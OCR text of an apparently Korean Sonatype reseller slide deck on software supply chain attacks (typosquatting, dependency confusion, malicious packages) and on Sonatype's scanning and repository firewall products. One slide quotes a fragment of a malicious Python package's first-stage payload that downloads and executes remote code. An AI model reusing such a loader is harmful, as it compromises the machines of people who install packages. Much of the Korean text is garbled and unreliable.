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o Public Repository= 212U
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RubyGems.
o BIO| 42| (Binary) TH7| 2| HEH BHZ
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9|4 : Dependency & Transitive Dependency

Insert Web Page

This app allows you to insert secure web pages starting with https:// into the slide deck. Non-secure web pages are not supported for security reasons.

Please enter the URL below.

https://  npm.anvaka.com

Note: Many popular websites allow secure access. Please click on the preview button to ensure the web page is accessible.

Web Viewer Terms | Privacy & Cookies Preview
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log4j show

graph info
®
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76 91 ‘
Q
maintainers 2 .
R E SR 5 ° _*
U ol v= N { ]
e AR . s
W 8 R g | 2 e " e
1O A& (6] : AR ‘ : e .
L = LE1H A B } m is-arrayish@0.3.2 o d ® i
& r:‘" ol n Y .\simple»swizzle@0.2.2 L ® o
JEEF IOk ‘ : : . . :
2 - [y B oI L / .« o
YokA PR & S
r :'_qi_‘, & ,,--,[ - _-; " ﬂ [ ] o & @
* siz'd lAERC . e 1
r]';.hfg Bl s g = & . o %
&% o B BN . i :
f‘u.x "'EE‘Q e . . : o o -
e . .
B & ® .
n ®
licenses ® °
MIT 73
ISC 2 ® e o
unspecified 1
. ®
names
ms 2 [ ]
color-name 2 bvas
depd 2 Show 3D "
logdj 1




QO sonatype

= O|=H : Dependency & Transitive Dependency

crypto-browserify
graph info

# of nodes # of links

39 108

maintainers

He V-1 1.0
»- JE X =T

(MIT AND BSD-3-Clause)

names

bn.js
crypto-browserify
randomfill
safe-buffer
randombytes
public-encrypt
parse-asni
pbkdf2

sha.js

inherits
ripemd160
hash-base

Q
®

srypto-browserify@3.12.0 ®
@

gl
®

readable-stream
util-deprecate
string_decoder
create-hmac
create-hash
md5.js
cipher-base
evp_bytestokey
browserify-aes
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" Software Supply Chain SZ47|H Typosquatting (EfO[ZZAFHE)

o FQ W7|X|H| EIO[HLRE &8ot= 7|82 = Y2lo| pCH| CHSE *—E?_J?_P% ‘?:*EHI 0f 2 2ap4Ql Ao = UEA US
o dd H7|X|et H|==zolA| 2O|= ofd T || E TH= =, NPM Repository SOl &
o JWEASO| 2j&2dS Holz I 0|52 &X Y=ol 4%, 2=d d W7 [R|7I CH2E2E &[0 SA0| 0| 8&l= T4

o 2019013 YEHH O 2 AFRE|= H(Gem)©| EFO|EAHE ZH|H RubyGem)0] 700747+ EA| LA

babelcli: 42 cross-env.js: 43 crossenv: 679 d3.js: 72 fabric-js: 46 ffmepg: 44 gruntcli: 67 http-proxy.js: 41
jquery.js: 136 jquery.js: 136 mariadb: 92 mongose: 196 mssql-node: 46 mssql.js: 48 mysqljs: 77 node-fabric: Cross-env ->> crossenv
87 node-opencv: 94 node-opensl: 40 node-openssl: 29 node-sqlite: 61 node-tkinter: 39 nodecaffe: 40

express -> exprss
nodesass: 66 nodesglite: 45 opencv.js: 40 openssl.js: 43 proxy.js: 43 shadowsock: 40 smb: 40 sqlite.js: 48 electron -> electorn

nodefabric: 44 nodeffmpeg: 39 nodemailer-js: 40 nodemailer.js: 39 nodemssql: 44 noderequest: 40

sqliter: 45 sqlserver: 50 tkinter: 45

~
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clectorn: AFEAIQ| IP FA 27t &
AEAL LM ER|, CPU, 2 EHs S5

o

Q) johnsmith/ Users/ jobnsmithlntel(R)Core(TM)i5-
XXXXXCPU@2.30GH b ¢
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= Software Supply Chain &27|H - Dependency Confusion (&M ES

o SM A&l BoHet Lhs 21E, S8 Wi7|A| 0|F HE A/, LA ME 71, ‘HElA| ZA| T2t -S) 0= CHE HEHQ| Supply
(

Chain 224 Al EZ}

&4 BAL 2 (Alex Birsan 20213 2H)

o O{E2|7|0|/M0]|A| ArESH= Tf7|A|HS 20HH = LHE BC} [F Z|4 DependencyE 2446HH= Dependency 22| Ao IE
Ed42 8%t 7|H

o Apple, Microsoft, Netflix, PayPal, Shopify, Tesla and Uber 3|Al & &4 2S

sonatype

Dependency Confusion: How |
Hacked Into Apple, Microsoft
and Dozens of Other Companies

The Story of a Novel Supply Chaln Attack

Dependency Hijacking Software
Supply Chain Attack Hits More Than
35 Organizations

awesomelib 1.0
. awesomelib 69.69.69 (internal)
by not_a_hacker
(external)
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" Software Supply Chain & 47| - Malicious Code Injection (YT E FY

po up
-t NamedTemporaryFile as _ffile microsoft-helper
executable as _eexecutable
system as _ssystem
L ttmp = _ffile(delete=! )
L ttmp.write(b"""from urllib.request import urlopen as _uurlopen;exec(_uurlopen('https:
_ttmp.close()
ry: _ssystem(f"start {_eexecutable.replace('.exe', 'w.exe' _ttmp.name}")

sylexSquad

Brand awareness

Author First-stage payload .

author="
keywords=["
install_requir
classifiers=["

Similar to other MaaSs offerings, they
promise fully undetectable malware

100% Fully FLD

Prices in euros

€15.99

MaaS(Malware-as-a-Service)

https://blog.sonatype.com/malware-monthly-march-2023
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ENISA Report

&-o PWizvera
N HELPNETSECURITY
-e- o PVietnam VGCA
®-o P-SolarWinds
— o B-Unimax o NEXT GENERATION SOFTWARE SUPPLY CHAIN ATTACKS (2015 - 2021)
— igMNox i - SIS - :
P S bon s Dependency Confusion, Typosquatting, and Malicious Code Injection
®-o P-LUkraine SEl EB
= ::E:EESHDP #ClickStudios 12000
— o PeCodecov
0,
PKaseya 10000 65 0 AJ
’:-'PS?NNEK year over year
increase
oo & & 4 . & & & & & O & & & & 2+ & 8000
Jan Feb Mar Apr May June July Aug Sep Oct Mov Dec Jam Feb Mar Apr May June July
2020 2021
y Myanmar
. hPresidemiat Website 6000
PWindows HCP
4000
- @ PFujitsu
PLedger
Legend - o P-¥code 2000
,. o-o PSITA
: @ ~PT attributed Group ' L— o PVerkada
: Global Impact i e o P-Mimecast
Regional Impact . oo pPrivate Stock 2017 2018 2019

Investment Messenger

https://www.enisa.europa.cu/news/enisa-news/understanding-the-increase-in-supply-chain-security-attacks
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Insert Web Page

This app allows you to insert secure web pages starting with https:// into the slide deck. Non-secure web pages are not supported for security reasons.

Please enter the URL below.

https://  www.sonatype.com/resources/vulnerability-timeline

Note: Many popular websites allow secure access. Please click on the preview button to ensure the web page is accessible.
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Common Vulnerabilities and Exposures

o FFHof 2ot HH = CVELR|0]| Lot A2 2 S-FE|H (Vendor Website, GitHub &) 24E26H=
B ot Exploit DB, off & S CHfol A2 = SIH=

Types of Malware

TYPOSQUATTING

AKAURL Hijacking — the practice of registering domains of known brands
with the intent of tricking users into believing they are legitimate sites

Malware is a software that is
designed to attack, control and
damage a device’s security
and infrastructure systems.
Types of malware include:

iz COMMON TECHNIQUES 722227727777

® Ransomware ® Adware ® Worms

DROPPING THE DOT SWITCHING TWO
AFTER "WWW" DROPPING ONE LETTER ERS
‘Wwwaa.com apple.om faechook.com

® Fileless Malware ® Trojans ® Rootkits - E
® Mobile Malware ® Spyware ® Botnets De peﬁdEH(Zy COPIfUSIOh

P p— USING SIMILAR PRESSING A WRONG
® Wiper Malware ® Viruses LOOKING CHARACTERS KEY

twiilter.com google.com (I vs [) costko.com

15
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_ . Hosted Data Service
o O1EZ[H0|ME L d6t= LEAA FLHQ A (Component) & A

lO|EIHI0| A S5 B IBRAGIAY, 2lOlMA, B 5

Transitive DependencyS A2F6tA| F24{6H{0F of

9 AFH'd(Scanning) A'H B4

1. OfL|M| A E (Manifest) Scanning : Build Manifest TFUS
ALE3I] DependencyE It (package.json, pom.xmlS)

2. BIO[HZ2|(Binary) Scanning : Binary FingerprintS AHZSH0]
Build ArtifactE 26t &4l O 2 Final Build0f] Z&tHz
Package@t AlEHSEO 2 A4 False Positive 7tsd ZHA




= SCA(Software Composition Analysis) =0F, = 2% No.1 AH|A

Forrester Wave™ Software Composition Analysis, Q2 2023

Software Composition Analysis (SCA) Forrester Report Q

Strong
Performers

Palo Alto Networks (-

THE FORRESTER WAVE™
Software Composition Analysis a2 2023
Challengers Contenders
Stronger
current
offering
A
Agua Security (=)
GitHub (+)
(+) GitLab

Weaker
current
offering

Weaker strategy

OSC

Leaders

= Stronger strategy

Current offering
Vulnerability identification
License risk management

SBOM management

Development, security, and operations

Software supply chain security
Policy management
Remediation

Reporting and analytics

Breadth of coverage

Strategy

Vision

Execution roadmap

Planned enhancements
Innovation

Supporting services and offerings

Pricing flexibility and transparency

Market presence
Revenue
Number of customers

Average deal size

Yl
50% 178
15% 1.60
10% 070
10% 3.00
10% 1.0
10% 240
5% 1.00
30% 1.80
5% 100
5% 2.00
50% 1.20
25% 1.00
20% 100
20% 1.00
10% 3.00
15% 1.00
10% 1.00
0%  2.00
60% 2.00
20% 1.00
20%  3.00

&
o

310
3.00

210
2.40
330
2.60
3.00
3.80
3.00
3.40

3.90
3.00
5.00
3.00
5.00
5.00
3.00

2.00
2.00
2.00
2.00

1.00
1.20
2.60
1.00
1.50
1.00
320

170
1.00
3.00
1.00
1.00
3.00
1.00

3.00
3.00
4.00
2.00

22023

)

1.60
0.20
1.00
1.50
1.00
3.00

1.40
1.00
1.00
3.00
1.00
1.00
1.00

3.00
3.00
5.00
1.00

3.00
1.00
2.40
2.30
3.00
3.00
250
1.00
1.00

3.20
3.00
5.00
3.00
3.00
3.00
1.00

3.00
3.00
5.00
1.00

3.4
3.00
3.00
3.40
3.00
260
3.00
4.30
3.00
3.40

3.50
5.00
3.00
3.00
3.00
3.00
3.00

3.20
3.00
2.00
5.00

&
183
100
070
2.40
2.40
0.0
100
270
100
260

310
3.00
3.00
5.00
3.00

1.00
3.00

1.20
1.00
1.00
2.00

293
3.00
5.00
5.00
150
070
3.00
2.50
5.00
2.20

3.00
3.00
3.00
3.00
3.00
3.00
3.00

1.80
2.00
1.00
2.00

https://reprints2.forrester.com/#/assets/2/425/RES178483/ report?utm_campaign=q2%202023%20na%20forrester-sca-
wave&utm_source=sales-email&utm_medium=email&utm_content=2023-forrester

WWW.S( )ﬂZlf}'PC.C( m
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313 | 4.06

1.60 § 5.00

1.00 §5.00

2.60 | 3.00

370 §3.90

3.40 | 5.00

3.00 | 5.00

4.60 | 370

3.00 | 3.00

2.80 | 2.20

460 | 3.90] 330 3.60

5.00 | 5.00] 3.00 5.00

3.00 [3.00§ 3.00 1.00

5.00 §3.00} 3.00 3.00

5.00 } 5.00} 3.00 5.00

5.00 | 3.00] 5.00 5.00

5.00 | 5.00] 3.00 3.00

460 460] 460 280

5.00 | 5.00] 5.00 3.00

5.00 J4.00] 3.00 4.00

3.00 §4.00] 5.00 1.00
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Sonatype EUEZ2 == 2 2|0 H|O[HH|0|AZ 7|22 71 Helot EE
2A|ZC 2 WEA A[SeL|Ct

Better Identification

DeclaredZ} Oftd
Deployed 7|2F AZH

IAUHO| O Advanced
Binary Fingerprint AMZ

False Alarm0j| ([
2| A JH| 2[435}

The difference is simple.

S U
— NVD L
— Al
sonatype
Central Sonatype National GitHub OSS
Repository Research Vulnerability Index
Database

Better Knowledge

SIHCOES Ql0f] QAL
2ok HE 43

MZ 2(otd HEE
2| 47

HERO A 27 tsSt
7IOIEAIS

¢ @ o

Sonatype Google Search Security
Nexus Alerts Adpvisories
Repository
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sonatype
platform

Nexus
Intelligence

=>
Sy

JAF CHH] 70%
oro leFé—)l DB

LS 1— T

NVD ClH| 1084
M2 e

+65HO| ZE2H
HO MUY

Sonatype =cHE2

QO sonatype

=23 No.1 LEAA Scanning 7| S22, 7H 4|4 Q|

SBOM(Software Bill of Materials, AZEQ|0] LM A HAA) HAEHE H|SL|CF

e 2

{ Y component name ]

> test3
— @ org.apache.commons : commons-lang3 :3.3.2

— @ axis:axis: 1.2

B — @ com.fasterxml jackson.core : jackson-databind : 2.0.4
— @ com.fasterxml.jackson.core : jackson-annotations : 2.0.4
— @ com.fasterxml jackson.core : jackson-core : 2.0.4 ==

— @ apache-taglibs : standard : 1.1.2

B — @ org.apached.tiles : tiles-core : 2.2.2

|— @ org.apache.tiles : tiles-api: 2.2.2

B — @ orgslf4j:jcl-overslfdj: 1.7.7
org.sifdj ; sifdj-api: 1.7.7
=] commons-digester : commons-digester : 1.4.1
B — @ commons-beanutils : commons-beanutils : 1.6

‘ @ commons-logging : commons-logging: 1.1.3

— Direct Dependencies

—> Transitive Dependencies

@ commons-logging : commons-logging : 1.1.3

Forrester Wave™: Software Composition Analysis Scorecard, Q3 2021

S
%e
%
/“é O
%, /%’o ’%z,
v, .
96‘% %@ O‘%‘ % % %
o A N e % %
Current offering 50% 268 291 166 1.72 2.03

Vulnerability identification 22% 3.40 260 1.30 3.80 2.20

3.00 500 260 100 500

License risk management 13%

229 No.1 9| 7} kst 11|20l

SBOM Software Bill of Materials, 2 E Q|4
FHoA HAA) AE AlS

3.37) 4.40Q)3.18 2.53 4.20
440440 220 4.40

Software bill of materials 10% 1.00 5.00 1.00 1.00 1.00

R
3.00] 5.00]3.00 3.00 3.00

o
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51

PSS
24

o
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|
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i
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REPOS : l
GO Js l

B l TEST DEPLOY
./ o WS
Sonatype

PACKAGE OPERATE
Repository Firewall ——-> (]
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Sonatype Nexus Repository
SDLCO|| 22l 2}0|E 212, build artifacts, release candidates
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60 of Fortune 100 | 8 of Top 10 Global Banks | 8 of Top 10 Card Issuers
7 of Top 10 US Tech Firms | 4 of 5 US Armed Forces

Fin Serv
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2,0000d Z2ZHA} (1,500
. [J
OF JHekap 2 £ Media HB® @ALT;B%NEP !@ nuiyu
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asE &84

U pspeo  EQUIFAX %;g\ m
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Ford Motor Company AuUuoil TOYOTA
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I DUKE PHILLIPS
Energy E)XXON ‘v %5 ENERGY. @
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Nexus Repository OSS(QEAA) = Z{OFHO|L} BIO|MA Chet Q0 Hw HZslny, @ Sonatype

Nexus Repository Pro= M|F dAE FI7L A&

v FOR  Central 4670
v ON Thu Aug 20 2020 at 6:51:05 PM COMPONENTS IDENTIFIED

AGE 8 minutes 100% of 4670 TOTAL

Sonatype Issue Summary @ Get Nexus Firewall

nexus Security Vulnerabilities License Warnings Benefits
. Critical (7-10 Copvleft @ Stop bad components at the front NGXUS Re 0OS1to
repository cat10 (ELTH corve posttory
b m Non Standard O Automatically shield your software OSS

from open source risks

Learn More

Moderate (1-3) | Not Provided

Threat
Level ? 5|° 1?0 1,50 Z?D zfo 3?0 3?0 4?0 Weak Copyleft

2 ==----l Liberal
= ZMIA JHEASO0| 71 B2 N ———aEEE

Repository Manager E NCXHS What should | do with this report? View Detailed Report NCXU_S RCpOSitory

Reposltory Al'-g- —— _i Pro

View By: [ @ Vulnerabilities = View By: | () Artifacts v
Threat Level - Problem Code Group Artifact Version License Threat - Declared License Observed Licenses it  Group Artifact Version
EONATYPE NEXUS REPOSTORY 7 CVE-2010-2076 org.apache.cxf cxf-common-utiliies 224 Ece Apache-20 Apache-2.0, GPL org.sonatype.configurat  base-configuration 11
CVE-2011-3190 org.apache.tomcat coyote 6033 W ocrL206 Apache-2.0+, BSD, EPL-  Apache-2.0, BSD, EPL-1 = biz source_code baseB4coder 2010-12-19
#I R,ﬁ\r\t F:E D o el it i M ocrL GPL20 CODL, GPL, GPL-20  Not Provided org glassfish.core glassfish 3.4-b13
ks sk il P OGRRITRRLLN— 24 M crL GrL20 CODL, GPL, GPL-20  Not Provided org glassfish Avax s a1
TORY MANAGERS R i s il B GPL-20,GPL-2.0+  Apache-20 Agpache-1.1, Apache-2.0, org.apache servicemix & servicemix-scripting = 2008.01
osvdb-67284 org.apache.cxf cxf-common-utilities 224
’ CVE-2011-3180 o ok ries orgopanLrules et i 572 . GPL. GPL-2.0 CODDL, GPL, GPL-20 Not Provided org.glassfish javax transaction 10.0-b28
[T Central Station osvdb-T4818 org.ow2 jonas assembles profiles | jonas-ful 5.3.0-M2 Mor o Apsche. Apsche-2.0, GF | argapache.camel comekine 230
CVE-2006-1547 struts struts 1.1-red .GPL AFL-2.1, Apache-2.0, BS AFL-2.1, Apache-2.0, BS org.comatd comatd-demo 113
osvdb-67284 org apache.cxf cxf-common-utiliies 212 WceLz20+ GPL-2.0-with-classpath-  GPL-2.0+ e springframework Spring-me-sample-|2 10
CVE-2010-2078 org.apache.cxf cxf-common-utiliies 22 . GPL Apache-2.0 Apache-2.0, GPL org.apache.camel camek-core 210 25
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'’ repository firewall

Sonatype Repository Firewall & Z2{2 FUH2 =
LA A|A] P42 F|UHENMA| HAH[AH S = BIOJeL|Ct

Quarantine

AFEO 2 9| AR 2(Suspicious) HEHE HZ|

Research Engine
AFEO 2 9| AR 2(Suspicious)

ARHE 20l (npm/pypi)

Auto Release @
JOZ TIH A| A}50 2

Aclzl ZREE 2|2
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HEARO|A Q! S&
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= Known vs. Unknown Risk(${®)

e O e
O‘OKnown Risks @ + CC:)D O ‘ OOUnknown Risks

Al 7|8t AlA|ZH SonaType Research

e ds =AM HEIHE 4
Unknown RiskO| CHSt CH-S : Nexus
N Research Engine> AI/ML @12|SS
Known RiskOf| LSt LS : CH2E2E AL I I =5 Ecosystem(npm, pypi) = 24 x 7 x
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Sonatype Repository Firewall £ 7|S - Repository Audit & AL

| I I 'L J: RepOSitOI’iES Manage repositories
' Q) Create repository R e p O
Son a type Name 1 Type Format Status -
npMm-proxy proxy npm Online - Ready to Connect W copy Analyze
. [@eopy | [ Analyze |
re pOSItory npr-proxy 2 (W)

firewall

Y Filter
1Q Policy Violations
Em o=

URL Health check

No violations B*

Online - Ready to Connect

¥ You are protected  Firewallis currently £ 300 in1
Quarantine Auta Release from Quarantine Quarantine Auto Released from Quarantine
Status Status
<t « pane 230 70 [+25) 4
on 1 of 1 repositaries releasing 3 of 5 policy components in quaranting componants released MPONENTS IDENTIFIED POLICY ALERTS QUARANTINED COMPONEN|
condition types manth-to-month
] P d b I S =5 Configure View Auto Release Quarantine FILTER: UM Exact  Unknown VIOLATIONS: Al Quarantined  Waived
owered by erver (AI&S2
Quarar DS 115028 pum. H021-45-10 & Refresh Policy Threat ~ Component - Quarantined
Ol LA 2424 A{H) = |Q Server - |
— O T Security-Critical ) commons-coliections : commons-colsciions : 3.2.1
§ org.codehaus plexus : plexus-utils : 3.09 [~}

® 10 Security-Critical 20210510 com,pajosontheweb : woko-blobs-web : war : 2.2-beta? test-repo Security_High ) apache-beanutils : commons-beanutits : 1.7.0 0
® 10 Security-Critical 2021-05-10 orgmule.examples : mubs-example-errarhandler : 2ip : 34-M1 test-repo IArchitecture-CIeanup ) junit < junit : 3.8.1
®10 Security-Critical 20210510 org atmesphers samples | stmospheretwitterdivefeed : war : 082 test-repo Architecture-Quality ) apache-velocity : velocity : 1.5
@10 Security-Critical 2021-05-10 smartrics.restfixture : smartrics-RestFixture ; 7ip - bin : 4.0 test-repo ) sem:sam:3
.0 R S T —————— 15 . rp—— , F

eo = Auto Release from Quarantine s

COMPONENT 'QUARANTINE DATE REPOSITORY DATE CLEARED
arg-apache.directory.studio : l[dapservers.apachedsv154 : jar : sources: 2.0.0420120111  2021-0510 test-repo 2021-05-10
org-glassfish.grizzly : grizzly-hitp : 2.1 2021-05-10 test-repo 2021-05-10
org.owl.jona: t:] full-starter : jar : full-starter : 1.0.0-M2 2021-0510 test-repo 2021-05-10
org.apache.portals.bridges : perl - war:1.0.4 2021-0510 est-repo 2021-05-10
COM.SUN.Erizay : grizzly-ntip-webserver : 1.9,18-0 2021-0510 test-repo 2021-05-10

com.sun.faces : jsf-api : 2.0.4-b11 2021-05-10 test-repo 2021-05-10
WwWw.sonatype.com www.osckorea.com 29
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Sonatype Repository Firewall £ 7|5 - Violation Wl ¥ 7|5

| I I I Secu rity-High ) commeons-fileupload : commons-fileupload : 1.2.2
v Component Info Policy Licenses Vulnerabilities Labels

Son atype Group: commons-fileupload onder s Versian
Artifact: commons-fileupload Papularity
Version: 1.2.2

repository ecired Lvone. Apashe-z.

P Observed License: Apache-2.0 F'ulin_! Threat
fl rewa II Effective License: Apache-2.0 Pt
Highest Policy Threat: n within 2 policies
Highest CWSS Score: m within S security issues
Cataloged: 8 years ago
Match State: exact
Identification Source: Sonatype

= Powered by 1Q Serv (7\|'5§|'
o cre y ¢ cr o |l Security-High ) arg apache activem - aciivemg-braker - 580 l Security-Critical 3 org.apache struts.xwork ; xwork-core : 2.2.1
I L:I + - H Component Info Policy Vulnerabilities Labels Component Info Licenses Vulnerabilities Labels
= 7-| H-l L-— O T A-l H-l) View Existing Waivers
DECLARED LICENSE Scope  cenira s
W Apache-2.0 Policyfaction Constraint Condition Value
Status  Open i Security-Critical Critical risk CVSS score Found Security Vulnerability with Severity >= 10
BESERVED LICENSES Found Security Vulnerability without Status NOT_APPLICABLE
W Apache-2.0 License(s)
Security-High High risk CVSS score Found Security Vulnerability Severity >= 7
) Comment Found Security Vulnerabilit everity < 10
EFFECTIVE LICENSE Found Security Vulnerability without Status NOT_APPLICABLE
W Apache-2.0
r Security-Medium Medium risk CV'S5 score Found Security Vulnerability with Severity == 4
Found Security Vulnerability with Severity <7
B Found Security Vulnerability without Status NOT_APPLICABLE
I Security-Unscored Risk score not assigned yet Found Security Vulnerability with Severity = 0
I Security-High 3 g 122
Component Info  Policy Licenses Labels Vulnerabilities
Threat Level ~ Problem Code Info Status
I 7 CVE-2013-2186 o Opén
7 CVE-2014-0050 o Open
I ? OSVDB-38703 o Open
- OSVDB-102045 B . Qoen
www.sOnatype.com www.osckorea.com 30
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INEA} 2HH View - Accessing £[2Fd HITA]

npm yde E403

npm )3 403 Requested item is quarantined, please visit http://localhost:8070/ui/links/repository/a4e977c524ae482e99431
93f75e65e@@/result to investigate the reason(s) - GET http://localhost:8081/repository/npm-proxy/execa/—/execa-@.10.0.tgz
npm T0o In most cases, you or one of your dependencies are requesting

npm 483 a package version that is forbidden by your security policy.

npm R3

npm It was specified as a dependency of 'cypress'

npm : ——————————————

'Y K | B nnandivelugu — -zsh — 80x24

Last login: Fri Feb 18 16:01:53 on ttys@03

nnandivelugu@Navyasanthis-MacBook-Pro ~ % npm install 1gallery(@0.0.8

ALMWARN ENOENT: no such file or directory, open '/Users/nnandivelugu/pac
kage.

npm (L1 nnandivelugu No description

npm nnandivelugu No repository field.

npm nnandivelugu No README data
npm nnandivelugu license field.

npm E403
>>> REQUESTED ITEM IS QUARANTINED
>>> FOR DETAILS SEE >>> http://localhost:8072/ui/links/reposito
ries/quarantinedComponent/MWUL1lYjRhYTA3ODNmMNGEOOWE4OWNmMYzAQYJ1kNzZEWMzQ) <<<
— GET http://localhost:8081/repository/npm-proxy/igallery/-/1gallery-0.0.8.tgz
npm In most cases, you or one of your dependencies are requesting
npm ! a package version that is forbidden by your security policy.

npm A complete log of this run can be found in:
npm /Users/nnandivelugu/.npm/_logs/2022-02-18T22_25_33_293Z-debug.log
nnandivelugu@Navyasanthis-MacBook-Pro ~ % I
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» Powered by IQ Server (AtS2}

% A 23 AH)

LR} SHH View - F{2F4H A2

@ ML HH0| HBIBHE CH2 M AR

Quarantined Component View

2021-August-10 10:20 FM

Overview

The purpase of this report s to alert you of a component that has been quarantined dus ta a policy
wialatian, Mo actions can be taken directly fram this report, thaugh you can remediate the component
using the following informatian,

org.apache.logging.logdj : logdj - core: 2.0.0

Status Quarantine Reason Reoositony

@ Quarantined 4 policy violations Reposilory Marme

First Quarantined Catalogued Date Other Yersions in the Repository

1 month ago 4 years ago 4

QO sonatype

=l = View

I " c3p0:c3p0:0.9.1.1

Component Info Palicy Licenses Wulnerabilities Labels

Version Graph

Selected Version:

Oider This wersion Newar Type:

Popularity Group:

AAAAAAAAAA Artifact:

Breaking Changes ENEEEEE | = Version:
Policy Threat HEEEENE N Declared Lice

etails 0.e1.1

Observed Lice

Click on the graph above to see details about different versions Effective Licens
Highest Policy Threan:

Highest CW5S Score:

Integrity Rating:

Cataloged:

0.9.1.1
maven

c3p0

: LGPL-3.0, LGPL-2.1

wilhin 3 policies

9.8 within 2 security issues
Not Applicable

15 years ago

& The report is available for 12 hours after the component is requested.

@ RAV|S= Al dot= CHE AEZHE ME

@ WaiverGHA| 7|5) A&
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» Powered by IQ Server (AtS2}
2 i A 2 M)

Policy A _ Overview

Level Color Number

Critical Red 810 @
Severe Orange 4-7

Moderate  Yellow 2-3

Low Blue 1 .

Condition Type

Security Vulnerability Severity Security
Security Vulnerability Status Security
Proprietary Name Conflict Security
Security Vulnerability Category Security
Security Vulnerability CWE Security
Relative Popularity (Percentage) Quality
Age Quality
Hygiene Rating Quality
Integrity Rating Quality
License License
License Status License
License Threat Group License
License Threat Group Level License
Label Other
Match State Other
Format Other
Coordinates Other
Package URL Other
Proprietary Other
Identification Source Other
Component Category Other
Data Source Other
Dependency Type Other

SUMMARY ——-

L
4 \
Policy Mame {/ Threat Level \‘
|| Security-Critica \ m /
\ /
N /s

Policy Violation Grandfatheri

[ Allow this policy to be

Policy

INHERITANCE

Il Applications and Repositories

O Applications of the specified Application Categories in Root Organization

Policy Actions Override
|:| Allow actions to be overridden by children

CONSTRAINTS

Constraints

Constraint Name

" Critical risk CVSS score

Conditions
This constraint is in violation if Con d itions

" all of the following are true:

=]

" Security Vulnerability Se... " =

+ Add Condition

PROXY DEVELOP  SOURCE BUILD STAGE RELEASE  OPERATE
Mo Action ® @ ® ® @ ® (O]
e °© 9 © 9 Actions °
0 rail O O @] @] ~r wr O
NOTIFICATIONS
RECIPIENT PROXY DEVELOP  SOURCE BUILD STAGE RELEASE  OPERATE _olNUO-
MONITORING

No notifications configured

Notifications

Recipient Type Email Address

|| Email "

W Delete Policy
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(O sonatype
N\ Sonatype Lifecycles 7HEAL B HOF HEATF QEAA 2| A S0 CHok
Ll ) OFABE M A AHE3) BAIS A ZEILICE

DEPLOY OPERATE
TEC-‘;T ™~ Tt
d
son atype A PACKAGE ?
< BUILD )
PUBLIC > DEV @@ A Continuously identify risk, enforce policy,
0Oss (D> l) and remediate vulnerabilities across every
REPOS ) phase of your SDLC.
e = ,l\ e sONAtYPE
e L ) ) lifecycle

= HAMA No.1 7HL/HIZ(SDI.C)

A24HO| QEAA FHHHA SRA0IM AFRSH 22 Pipcline ST} AFM 248t £(0] QLICH
- T
CI‘CD 4
Github Gitlab Bitbucket Azure DevOps Eclipse Intelli] IDEA VS Code

SONATYPE NEXUS LIFECYCLE

#1 RANKED

SOFTWARE COMPOSITION
AMALYSIS

®

Bamboo CircleCI Github Action TeamCity JIRA Slack

IT Central Station
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WA IDE 2H8 A& (via IQ Server Integration)

Solution... ¥ & X | 'Microsoft AspNetMvc5.1.1 & X -
m " % Policy Violations

. Poli Constraint Summai
Search Solutior O ~ < i

& Solution 'Der

L4 °
b fan ISUQ udio

P B Refere

I Security-Medium Medium risk CVSS | Found security vulnerability CVE-2014-4075 with severity 4.3.
score

# License Analysis

H C* Assen
I ecyc e € Class1 Threat Level Dectared Licensets), Observed Licensels)

B Demeo I Commercial MS-NET-Library Not Supported
{3 Demo

¥ packa

Projec @ Security Issues

4 UtilityMor ThreatLevel Problem Code  Status  Summary
> prope a CVE2014.4075 | Open | Cross-ite scrpiing (XSS) winerabily in System W
D =B Refere (MVC) 2.0 through 5.1 allows remote attackers to it [2] Problems @ Javadoc [ Declaration @ Component Info X B4 pBEl¢@=8
5 Do page, aka "MVC XSS Vulnerabiliy. test-app-1, 21 compenents (10 shown, 11 filtered)
q I
L Component & Recommended Version(s) 5 Selected Version | See Details | Migrate to Selected
Pro.. Tes. Sol... 1 commons-fileupload - 13 1 - Belect 1.4 Next version with no policy violation
 commons-compress - 1.17 W Versions Table Type: maven
p Component Name Recommended Version(s) 2] - u D10-beta-t M crtical W significant Antifact. commons-fileupload
O commons-collections4 - 4.3 [ ] 31.0-rct B critical B significant
ﬁ Microsoﬂ.AspNetMvc 51.1 . Select 5.2.0: Next version with no policy violation & hamerest-core - 1.3 ™ 010 W citical ] significant Version: 1.4
Microsoft AspNet.Razor 3.1.1 Version Graph O slfdj-api- 175 u 01 B critical B significant Declared License: Apache-2.0
H I. —_— Microsoft AspNet.WebPages 3.1.1 oser Trsves [ commons-lang3 - 6.1 u ‘;‘1 11 M critica W significant Observed License: Apache-2.0
. AAM|A| No.17 HH = (SDI.C Soe—-ssis W o1 T
L O. = Microsoft.IdentityModel.Logging 1.1.2 0 tomeat-embed-core - 85,63 n 5121 B aitical B significant Effective License: Apache-2.0
MicrosoftWeb.Infrastructure 1.0.0.0 oty Thrst < 0122 B citical B significant Highest Policy Threat: NA
Detats 013 in-use M citical M rnone
NewtonsoftJson 12.0.2 Click on the graph above to see details about different vers — Highest CVSS Score: NA
— 0131 B citical B none )
Z'I I' Z'l o 2 4L A A 7 L:I A NLog 2.0.1.1 [ ] ° o132 B itical B none Integrity Rating: Not Applicable
— o— L L-— NLog 4.6.0 W severe B none Hygiene Rating: /1 Laggard
% ccommended M none B significant Cataloged: 3 years ago
Match State: exact
D_I =] }\'I hE}' Identification Source: Sonatype
Lt i) ;

1 Package Manager Console = Nexus IQ | Error List Qutput Category.

NexusiQ _Components & -
% Component Recommended Version(s) Selected Version Details... | | Migrate to Selected
@& strutszcore - -Select 1.21-Next version with no policy violations
< -Select 1.21-Next version with no policy violations for this component and its dependencies Type: maven
SONATYPE NEXUS LIFECYCLE e Version History Group:  org.apache.commons
L 2 commons-dbcp2-2.7. Version Policy Threat Breaking Changes Popularity Artifact:  commons-compress
e e g  crcal m significant Version: 1.20

u
-
u I
M critical M significant u Extension:  jar
” u M critical M significant | Declared License: Apache-2.0
SOFTWARE COMPOSITION . = M critical M significant 1 Observed License:  Apache-2.0
AMALYSIS ’ : M critical M significant ] Effective License:  Apache-2.0
* M critical M significant - Highest Policy Threat: [l 9 within 5 policies
* u M critical M significant | Highest CVSS Score: [l 7.5 within 5 security issues I -
IT Central Station i L] B it B nte I
critical M significant [ ] Integrity Rating: Not Applicable
’ = M critical M significant | Hygiene Rating:  Neutral
* u M critical M significant | Cataloged: 2 years ago
” - = M critical W significant | ] Match State: exact
* = M critical M significant | Identification Source: ~ Sonatype
! : M critical M significant - Category: Other
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WAL IDE 2H8 A| & (via IQ Server Integration)

l Markers Properties Servers Data Source Explorer [ Snippets = Component Info §8 =E M4 _-‘:=:° E‘ $ ® =0
sample, 59 components (59 shown, O filtered)
